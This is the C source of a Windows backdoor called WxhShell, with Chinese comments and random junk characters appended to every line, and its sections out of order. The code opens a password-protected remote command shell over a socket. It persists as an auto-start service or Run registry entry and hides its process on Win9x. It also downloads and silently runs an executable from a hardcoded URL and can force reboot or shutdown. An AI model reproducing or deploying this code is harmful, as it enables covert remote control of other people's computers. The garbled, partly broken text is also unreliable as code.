    if(Boot(SHUTDOWN)) R| t"(6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |U%S<X  
    else { O/$pT%D1x  
    closesocket(wsh); f m.-*`ax  
    ExitThread(0); M0DdrL/ L  
    } &mDKpYrB  
    break; .P.TqT@)r  
    } _|rrl  
  // 获取shell ]kx)/n-K  
  case 's': { jftoqK- p  
    CmdShell(wsh); \k_0wt2x1  
    closesocket(wsh); :<4:h.gO8  
    ExitThread(0); FW(y#Fmqs  
    break; :Eq=wbAw  
  } S#dkJu]]#  
  // 退出 2628 c`  
  case 'x': { Fyoy)y*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gE]) z*tqX  
    CloseIt(wsh); @$z/=gsy  
    break; [TvH7ott'1  
    } X*VHi  
  // 离开 R:kNAtK  
  case 'q': { Y15KaoK?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fw,ruROqD  
    closesocket(wsh); M@fUZh  
    WSACleanup(); Dp!3uR ']p  
    exit(1); '`$a l7D  
    break; n}PK0  
        } {C Qo}@.7  
  } He="S3XON  
  } '$*d:1  
O= PFr"  
  // 提示信息 #+p30?r0y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lzu;"#pw  
} H[?~u+  
  } ja*k\w{U'  
tJo,^fdfv  
  return; zd AqGQfc  
} F;Ms6 "K  
p"f=[awp  
// shell模块句柄 -q\5)nY  
int CmdShell(SOCKET sock) 4Waot  
{ ^:W.R7|  
STARTUPINFO si; %Uybp  
ZeroMemory(&si,sizeof(si)); \dSMF,E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :D6"h[7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xiuAW  
PROCESS_INFORMATION ProcessInfo; /-JBz U$  
char cmdline[]="cmd"; 1$oVcDLl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pe=Ou0  
  return 0; Yf >SV #  
} DG}YQr.L  
q 1a}o%  
// 自身启动模式 ;xaOve;9  
int StartFromService(void) [vb>5EhL!  
{ rRyBGEj  
typedef struct d)`XG cx{=  
{ "H\'4'hg  
  DWORD ExitStatus; Bi2be$nV  
  DWORD PebBaseAddress; ;%P$q9 *C  
  DWORD AffinityMask; +hL+3`TD#H  
  DWORD BasePriority; "f\2/4EIl  
  ULONG UniqueProcessId; zq -"jpZG  
  ULONG InheritedFromUniqueProcessId; {^gb S  
}   PROCESS_BASIC_INFORMATION; AEaT  
&WAO.*:y  
PROCNTQSIP NtQueryInformationProcess; n~N>c*p  
G4->7n N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {?m;DY v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l^4[;%*f#l  
k.? aq  
  HANDLE             hProcess; wOQ-sp0q0  
  PROCESS_BASIC_INFORMATION pbi; 5\1Z"?  
CZyOAoc<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^G%Bj`%  
  if(NULL == hInst ) return 0; $by-?z((  
 ^! /7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l4u@0;6P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;m$F~!Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =t1.j=oC  
d (]t}  
  if (!NtQueryInformationProcess) return 0; un0t zz  
}Zu2GU$6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (yQ]n91Q,  
  if(!hProcess) return 0; 7qSlqA<Hs  
Dt?O_Bdv[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2xRb$QF  
uV.3g 1 m  
  CloseHandle(hProcess); ?PORPv#  
%:^,7 .H@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yyZH1A  
if(hProcess==NULL) return 0;  ,!_  
2h0I1a,7  
HMODULE hMod; 49n.Gc  
char procName[255]; V3baEy>=z  
unsigned long cbNeeded; (.\GI D+i  
6$[7t?u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bmuf[-}QW  
1 Y_e1tgmm  
  CloseHandle(hProcess); =$601r  
.{ ^4I  
if(strstr(procName,"services")) return 1; // 以服务启动 S W(h%`U  
u%?u`n2'  
  return 0; // 注册表启动 e"(l  
} 5 zG6V2  
Vt{C80n&N  
// 主模块 _l]`Og@Y  
int StartWxhshell(LPSTR lpCmdLine) YAnt}]u!"  
{ M iIH&z  
  SOCKET wsl; ;:1d<Q|  
BOOL val=TRUE; 6W$ #`N>  
  int port=0; `84pql,  
  struct sockaddr_in door; -'+|r]  
eCdx(4(\a  
  if(wscfg.ws_autoins) Install(); 8[5%l7's  
^57[&{MuBF  
port=atoi(lpCmdLine); Lu\]]m  
/G`&k{SiK  
if(port<=0) port=wscfg.ws_port; tVQfR*=  
1) V,>)Ak  
  WSADATA data; Y'"2s~_ Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h-hU=I8  
hKjvD.6]%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LB%_FT5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); , RfU1R  
  door.sin_family = AF_INET; NWPL18*C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 06*R)siC  
  door.sin_port = htons(port); 2{c ;ELq  
%~P]x7%|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >|SB]'C|  
closesocket(wsl); 2#&9qGR  
return 1; hABC rd Em  
} P$_Y:XI !  
!3Fj`Oh  
  if(listen(wsl,2) == INVALID_SOCKET) { W+PAlsOC  
closesocket(wsl); */xI#G,O+  
return 1; EAo7(d@  
} 9oS\{[x.  
  Wxhshell(wsl); \@nmM&7C!4  
  WSACleanup(); yAtM|:qq  
"lLt=s2>L  
return 0; zNRoFz.  
lqA U5K{wQ  
} USu/Y29  
#C|:]moe  
// 以NT服务方式启动 nS[0g^}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =]oBBokV  
{ _dppUUm  
DWORD   status = 0; D h]+HF  
  DWORD   specificError = 0xfffffff; pr>Qu:  
]+)z}lr8 C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N%6jZmKip  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;&e5.K+.Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VuFM jY  
  serviceStatus.dwWin32ExitCode     = 0; LfyycC2E  
  serviceStatus.dwServiceSpecificExitCode = 0; !;lA+O-t  
  serviceStatus.dwCheckPoint       = 0; >4GhI65  
  serviceStatus.dwWaitHint       = 0; 7>xxur&  
N'Va&"&73>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mn\e(WoX  
  if (hServiceStatusHandle==0) return; KrVF>bq+  
',8]vWsl  
status = GetLastError(); isHa4 D0  
  if (status!=NO_ERROR) oju/%ieh  
{ VY<v?Of i-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : QSlctW  
    serviceStatus.dwCheckPoint       = 0; m}6GVQ'Q  
    serviceStatus.dwWaitHint       = 0; r S/Q  
    serviceStatus.dwWin32ExitCode     = status; }aXc,;Ps  
    serviceStatus.dwServiceSpecificExitCode = specificError; hd9fD[5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AM##:4   
    return; D9e"E1f+"  
  } e%x$Cb:znn  
0 sVCTJ@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zm2&\8J  
  serviceStatus.dwCheckPoint       = 0; #QZg{  
  serviceStatus.dwWaitHint       = 0; Eag->mw/~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KJ,{w?p~ )  
} nXK"BYe  
eOy{]< l3  
// 处理NT服务事件,比如:启动、停止 7~cN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9cFFQM|o  
{ |U1X~\""  
switch(fdwControl) *kgbcUf8  
{ NWwfNb>  
case SERVICE_CONTROL_STOP: 65N;PH59D  
  serviceStatus.dwWin32ExitCode = 0; Rg<y8~|'}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A)040n  
  serviceStatus.dwCheckPoint   = 0; G hLgV  
  serviceStatus.dwWaitHint     = 0; C2AP   
  { V!c{%zd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  {"y{V  
  } QV+('  
  return; )gvX eJ  
case SERVICE_CONTROL_PAUSE: rj$u_y3S*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =r+u!~%@''  
  break; g63:WX-\  
case SERVICE_CONTROL_CONTINUE: W2tIt&{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `>rdn*B  
  break; RoM'+1nP:#  
case SERVICE_CONTROL_INTERROGATE: }CaL:kY8  
  break; #93;V'b]  
}; N_$ X4.7p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CY)Wuv ^  
} ~t<BZu  
cG?RisSZ  
// 标准应用程序主函数 e x $d~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,V)yOLApVj  
{ >2Al+m<w  
ma~WJ0LM\  
// 获取操作系统版本 y_qFXd  
OsIsNt=GetOsVer(); U?>P6p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !-x^b.${B  
VyCBJK  
  // 从命令行安装 .zlUN0oe  
  if(strpbrk(lpCmdLine,"iI")) Install(); ; z:}OD  
:Ff1Js(Z  
  // 下载执行文件 -#3B>VY  
if(wscfg.ws_downexe) { / !jd%,G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vBj{bnl  
  WinExec(wscfg.ws_filenam,SW_HIDE); p(Y'fd}  
} KLsTgo|J  
4&K~EX"^T  
if(!OsIsNt) { $&n!j'C:  
// 如果时win9x,隐藏进程并且设置为注册表启动 |6`yE]3 -(  
HideProc(); M=26@ n  
StartWxhshell(lpCmdLine); ," :ADO-  
} eXnMS!g%Z  
else 7 -gt V#  
  if(StartFromService()) -[`,MZf   
  // 以服务方式启动 )Y Qtrc\91  
  StartServiceCtrlDispatcher(DispatchTable); qQ/j+  
else $>OWGueq64  
  // 普通方式启动 b,D+1'  
  StartWxhshell(lpCmdLine); & @^|=>L  
DDN#w<#  
return 0; 5Tb93Q@c  
} }OI;M^5L  
Jnb>u*7,  
VZb0x)w  
l *yml  
=========================================== cQu1WgQ G  
?*tpW75hR[  
n:`> QY  
CO0Nq/@  
:v Pzw!  
F_zs"ex/  
" `t {aN|3V[  
+MGEO+  
#include <stdio.h> +aEE(u6%E@  
#include <string.h> pUYa1=  
#include <windows.h> wR@fB  
#include <winsock2.h> n_)d4d zl  
#include <winsvc.h>  -"\z|OQ  
#include <urlmon.h> bf'@sh%W  
/AjGj*O  
#pragma comment (lib, "Ws2_32.lib") Q6RBZucv  
#pragma comment (lib, "urlmon.lib") Z99%uI3  
Goz9"yazg  
#define MAX_USER   100 // 最大客户端连接数 ;?yd;GOt)  
#define BUF_SOCK   200 // sock buffer "[BuQ0(g  
#define KEY_BUFF   255 // 输入 buffer  PZf^r  
jToA"udW/  
#define REBOOT     0   // 重启 (lwkg8WC  
#define SHUTDOWN   1   // 关机 qdL;Ii<Y0  
}Wn6r_:  
#define DEF_PORT   5000 // 监听端口 ?#rDoYt/Sx  
$wdIOfaH  
#define REG_LEN     16   // 注册表键长度 :a0qm.EN  
#define SVC_LEN     80   // NT服务名长度 hCc_+/j|  
CcLP/  
// 从dll定义API x>!#8?-h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ts{Tk5+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tl CgW)<?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fN?HF'7V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y_Bmd   
g(,gg1mG  
// wxhshell配置信息 ljlQ9wb[s  
struct WSCFG { nr! kx)j  
  int ws_port;         // 监听端口 G3OqRH  
  char ws_passstr[REG_LEN]; // 口令 06]J]  
  int ws_autoins;       // 安装标记, 1=yes 0=no kRTT ~  
  char ws_regname[REG_LEN]; // 注册表键名 Yr ,e7da  
  char ws_svcname[REG_LEN]; // 服务名 g&\A1H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zo7Hm]W`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rts@1JY[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s0E:hn:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &xj?MgdNL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RoJ{ ou@cs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &`Z>zT}  
w6qx  
}; rKg5?.  
<Ktx*(D  
// default Wxhshell configuration R3jhq3F\Y  
struct WSCFG wscfg={DEF_PORT, wx>BNlT@?  
    "xuhuanlingzhe", ]Yp;8#:1  
    1, `CUTb*{`  
    "Wxhshell", }RO Cj,|  
    "Wxhshell", =xw) [  
            "WxhShell Service", 54-sb~]  
    "Wrsky Windows CmdShell Service", E-MEMran4  
    "Please Input Your Password: ", 2Rc#{A  
  1, Oq|RMl  
  "http://www.wrsky.com/wxhshell.exe", D+9xI  
  "Wxhshell.exe" f*0[[J0]  
    }; :;#^h]Q  
KWLI7fTgj$  
// 消息定义模块 7Fh%jRHZ`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G9 ;X=c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jRm v~]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !eMz;GZ  
char *msg_ws_ext="\n\rExit."; ry*b"SO  
char *msg_ws_end="\n\rQuit."; 'Wn'BRXq3  
char *msg_ws_boot="\n\rReboot..."; \@N8[  
char *msg_ws_poff="\n\rShutdown..."; P@`@?kMU  
char *msg_ws_down="\n\rSave to "; kbN2dL  
,@;",  
char *msg_ws_err="\n\rErr!"; N41)?-7F  
char *msg_ws_ok="\n\rOK!"; o 3#qp>R  
:3gtc/pt>  
char ExeFile[MAX_PATH]; 2>Xgo%  
int nUser = 0; *_}ft-*w  
HANDLE handles[MAX_USER]; U,gg@!1GJo  
int OsIsNt; 5hr$tkk L  
0B>hVaj>-  
SERVICE_STATUS       serviceStatus; @dvlSqm)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2y>~<S  
D. fP Hq  
// 函数声明 i/6(~v  
int Install(void); bz[U<  
int Uninstall(void); C?fd.2#U  
int DownloadFile(char *sURL, SOCKET wsh); FMc$?mm  
int Boot(int flag); I% ivY  
void HideProc(void); mp*&{[XoVC  
int GetOsVer(void); Q_$aiE  
int Wxhshell(SOCKET wsl); ]o$aGrZ  
void TalkWithClient(void *cs); }Y[xj{2$O  
int CmdShell(SOCKET sock); IE+{W~y\  
int StartFromService(void); V`fp%7W  
int StartWxhshell(LPSTR lpCmdLine); }xk85*V  
|C301ENZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8d?r )/~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jdiH9]&U  
W4%I%&j  
// 数据结构和表定义 5/F1|N4  
SERVICE_TABLE_ENTRY DispatchTable[] = C< 3` ]l  
{ tBd-?+~7  
{wscfg.ws_svcname, NTServiceMain}, 0Dv r:]R  
{NULL, NULL} U>H"N1  
}; r7+"i9  
F0t-b%w,  
// 自我安装 I<L  
int Install(void) Y``50{7  
{ xAbx.\  
  char svExeFile[MAX_PATH]; 1YV ;pEw3w  
  HKEY key; 0/5 a3-3{  
  strcpy(svExeFile,ExeFile); ++w7jVi9  
 ?12[8   
// 如果是win9x系统,修改注册表设为自启动 aZn]8jC%  
if(!OsIsNt) { K~$A2b95  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -N $4\yp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >o9tlO)  
  RegCloseKey(key); F$.h+v   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rsd~t_a1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |(u6xPs;P  
  RegCloseKey(key); <|8N\FU{  
  return 0; 1Bp?HyCR  
    } td JA?  
  } JN)@bP  
} `yJ3"{uO  
else { h]T  
0`UI^Y~Q  
// 如果是NT以上系统,安装为系统服务 I!1|);li  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _zt)c!  
if (schSCManager!=0) OIJNOuI  
{  PgI H(  
  SC_HANDLE schService = CreateService Iz^h| n  
  ( 6i'GM`>w  
  schSCManager, o1lhVM`15  
  wscfg.ws_svcname, ) rw!. )  
  wscfg.ws_svcdisp, xs,,)jF(u  
  SERVICE_ALL_ACCESS, V1di#i:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #0$fZ  
  SERVICE_AUTO_START, +lC?Vpi^  
  SERVICE_ERROR_NORMAL, ZDny=&>#  
  svExeFile, K93L-K^J  
  NULL, g?B4b7II  
  NULL, qJ(XW N H  
  NULL, yUnNf 2i  
  NULL, H j [!F%  
  NULL _Ns/#Xe/  
  ); lldNIL6B%  
  if (schService!=0) M5 \flE2  
  { C- 5QhD  
  CloseServiceHandle(schService); !=Scpo_  
  CloseServiceHandle(schSCManager); M`  V<`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z<D8{&AjS  
  strcat(svExeFile,wscfg.ws_svcname); Xna58KF/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (;VlK#rnC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B 703{k  
  RegCloseKey(key); Ui?iMtDr  
  return 0; fk&>2[^&  
    } Jlp nR#@  
  } FQTAkkA_!  
  CloseServiceHandle(schSCManager); VO JA}$  
} cY mgJBG  
} Th_PmkvC  
B@w/wH  
return 1; 6 &Lr/J76  
} Ef @  
r)S:-wP  
// 自我卸载 0:I[;Q t  
int Uninstall(void) sGFvSW  
{ %>'Zy6C<j  
  HKEY key; _=Z?5{7S >  
`6y=ky.,  
if(!OsIsNt) { [[$dPa9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \)$:  
  RegDeleteValue(key,wscfg.ws_regname); +>3jMs~&  
  RegCloseKey(key); xO[V>Ud  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5'\detV_  
  RegDeleteValue(key,wscfg.ws_regname); igx~6G*  
  RegCloseKey(key); /|0xOiib  
  return 0; NC%96gfD  
  } 60TM!\  
} <$(y6+lY  
} }1 ,\ *)5  
else { v}LI-~M>U  
: &bJMzB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qCkC 2Fy(  
if (schSCManager!=0) v]Fw~Y7l!  
{ "%}24t%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >{S ~(KxK  
  if (schService!=0) iD*21c<kd  
  { .(RZ&*4  
  if(DeleteService(schService)!=0) { v-Tkp Yn  
  CloseServiceHandle(schService); 5Q;Q  
  CloseServiceHandle(schSCManager); fUMjLA|*I<  
  return 0; nz|6CP  
  } ]"/SU6#4:  
  CloseServiceHandle(schService); cO$xT;kK  
  } jB<B_"  
  CloseServiceHandle(schSCManager); A+|bJ>q  
} [QFAkEJ--o  
} h0R.c|g[  
<?nz>vz  
return 1; kXV;J$1  
} $Qz<:?D  
|LW5dtQ  
// 从指定url下载文件 [tT_ z<e`  
int DownloadFile(char *sURL, SOCKET wsh) yh2)Pc[  
{ S B~opN  
  HRESULT hr; -Uan.#~S  
char seps[]= "/"; )T6:@n^]h  
char *token; qt(4?_J  
char *file; <2d)4@B=  
char myURL[MAX_PATH]; v w 6$v  
char myFILE[MAX_PATH]; yAAV,?:o[  
#+QJ5VI :  
strcpy(myURL,sURL); uI$n7\G!  
  token=strtok(myURL,seps); NN#k^[i1  
  while(token!=NULL) 4> uNH5  
  { n }b{u@$  
    file=token; ^k*%`iQ  
  token=strtok(NULL,seps); _aYhW{wW  
  } #W6 6`{>  
uH?dy55 Y  
GetCurrentDirectory(MAX_PATH,myFILE); idB1%?<  
strcat(myFILE, "\\"); eL>wKu:r  
strcat(myFILE, file); e^em^1H( %  
  send(wsh,myFILE,strlen(myFILE),0); X::@2{-@y  
send(wsh,"...",3,0); \=D+7'3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?N<,;~  
  if(hr==S_OK) 4[i 3ckFT,  
return 0; XD?Lu _.  
else BTD_j&+(  
return 1; EnGh&]  
&\I<j\F2/  
} m.rV1#AI  
i}:hmy'  
// 系统电源模块 Q7<Y5+  
int Boot(int flag) oi]XSh[_s  
{ gzlxkv-F{  
  HANDLE hToken; ,ss"s3  
  TOKEN_PRIVILEGES tkp; c(uD kX  
}W@refS  
  if(OsIsNt) { (kVY\!UAt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]isq}Qv~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -<g[P_#  
    tkp.PrivilegeCount = 1; e`co:HO`#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e/cHH3 4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `+T 2IPN  
if(flag==REBOOT) { HU'w[r 6a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $@@ii+W}\  
  return 0; 9i U/[d  
} &',#j]I  
else { ^, YTQ.O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >-\^)z  
  return 0; sBYDo{0 1  
} ZBR^$?nj  
  } BdMd\1eMw  
  else { w+"E{#N  
if(flag==REBOOT) { w>8HS+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c0Bqm  
  return 0; 2<9K}Of  
} z{&Av  
else { ZJW8S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uB^"A ;0v  
  return 0; %19~9Tw  
} |$6Ten[B#  
} Zo-,TKgY'  
@sG*u >   
return 1; t{ yj`Vg  
} 0ETT@/)]z  
'.<iV!ZdZ  
// win9x进程隐藏模块 x]yIe&*('  
void HideProc(void) *#E_KW1RV  
{  [Rub  
4i.&geX A.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +L"F]_?  
  if ( hKernel != NULL ) 6\u. [2lE^  
  { p+<qI~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p2Gd6v.t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1) K<x  
    FreeLibrary(hKernel); x${C[gxq9F  
  } L-)ZjXzk  
jJw  
return; p[o]ouTcS  
} jygUf|  
EZ{{p+e ^  
// 获取操作系统版本 5Pq6X  
int GetOsVer(void) 9od c :  
{ N<@K(? '  
  OSVERSIONINFO winfo; `q\F C[W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mi$C%~]5m  
  GetVersionEx(&winfo); A4|7^Ay  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kP}l"CN4  
  return 1; VRgckh m  
  else n|?sNM<J3  
  return 0; OM^`P  
} =$+0p3[r  
wl%ysM| x  
// 客户端句柄模块 m' S{P:TK  
int Wxhshell(SOCKET wsl) % >a /m.$  
{ ygV_"=+|N  
  SOCKET wsh; pGD-K41O]  
  struct sockaddr_in client; $[b}r#P  
  DWORD myID; 43y@9P0  
}5n\us  
  while(nUser<MAX_USER) ^V1\boo=  
{ <$hv{a  
  int nSize=sizeof(client); _.R]K$U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O-ENFA~E;v  
  if(wsh==INVALID_SOCKET) return 1; @YRy)+  
?/1LueC:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5 (!FQ  
if(handles[nUser]==0) ?u&|'ASo  
  closesocket(wsh); k%u fgHl!  
else S&-F(#CF^  
  nUser++; ;7EeRM*  
  } 5#x[rr{^*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9>0OpgvC(  
nu:l;+,VY  
  return 0; 3N!v"2!#  
} \!jz1`]&{  
901 5PEO  
// 关闭 socket TD*AFR3Oz  
void CloseIt(SOCKET wsh) ^tSwAanP\  
{ h?;03>6A&]  
closesocket(wsh); A@?-"=h}  
nUser--; ns~bz-n  
ExitThread(0); rQNm2h  
} +~YoP>  
2Mq@5n  
// 客户端请求句柄 _t;^\"\  
void TalkWithClient(void *cs) v!DK.PZbi  
{ )Ghw!m  
{S-M]LE  
  SOCKET wsh=(SOCKET)cs; J E5qR2VA  
  char pwd[SVC_LEN]; Z_dL@\#|  
  char cmd[KEY_BUFF]; K:qc "Q=C  
char chr[1]; vol (%wB  
int i,j; } ,}g](!m  
jTNt!2 :B  
  while (nUser < MAX_USER) { Het>G{  
Il>o60u1  
if(wscfg.ws_passstr) { 0~_I9|FN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k:iy()n[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ollVg/z  
  //ZeroMemory(pwd,KEY_BUFF); !mWm@ }Ujg  
      i=0; 9bRUN<  
  while(i<SVC_LEN) { 6{udNv X  
of7p~{3H  
  // 设置超时 6&6dd_K(  
  fd_set FdRead; {|OXiRm'  
  struct timeval TimeOut; S76MY&Vx23  
  FD_ZERO(&FdRead); -qvMMit%7  
  FD_SET(wsh,&FdRead); dT&u}o3X  
  TimeOut.tv_sec=8;  q^6#.}  
  TimeOut.tv_usec=0; N}[!QE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T*Ge67  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4JXvP1`  
9 `bLQd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -OmpUv-O"  
  pwd=chr[0]; Ktt(l-e+  
  if(chr[0]==0xd || chr[0]==0xa) { )+Z.J]$O-  
  pwd=0; b&QI#w  
  break; SYQP7oG9oQ  
  } KRn[(yr`%  
  i++; yKK9b  
    } @].!}tz  
\ kY:|T  
  // 如果是非法用户,关闭 socket z{PPPFk4J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *81/q8Az  
} sK9RViqF\  
FqGMHM\J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )MTf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yP} |8x  
_ MB/p  
while(1) { s:_j,/H0A}  
'qde#[VB  
  ZeroMemory(cmd,KEY_BUFF); %[~g84@  
-vc$I=b;  
      // 自动支持客户端 telnet标准   &;r'JIp  
  j=0; ,JbP~2M~%  
  while(j<KEY_BUFF) { m :~y:.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sredL#]BA  
  cmd[j]=chr[0]; |/8!P Km  
  if(chr[0]==0xa || chr[0]==0xd) { MT)q?NcG  
  cmd[j]=0; I1s= =  
  break; cUd>ah v  
  } 2u5\tp?8  
  j++; 5{iNR4sq  
    } /[/{m]  
<"3${'$k`  
  // 下载文件 lx2%=5+i;  
  if(strstr(cmd,"http://")) { -bSM]86  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pf?&ys6  
  if(DownloadFile(cmd,wsh)) CK|AXz+EN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VG$;ri>  
  else z%JN|5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YSfJUB!I  
  } L})*ck  
  else { [ybK  
o /1+ }f  
    switch(cmd[0]) { TXV^f*  
  aMkuyqPf{  
  // 帮助 ySDo(EI4  
  case '?': { N'l2$8  
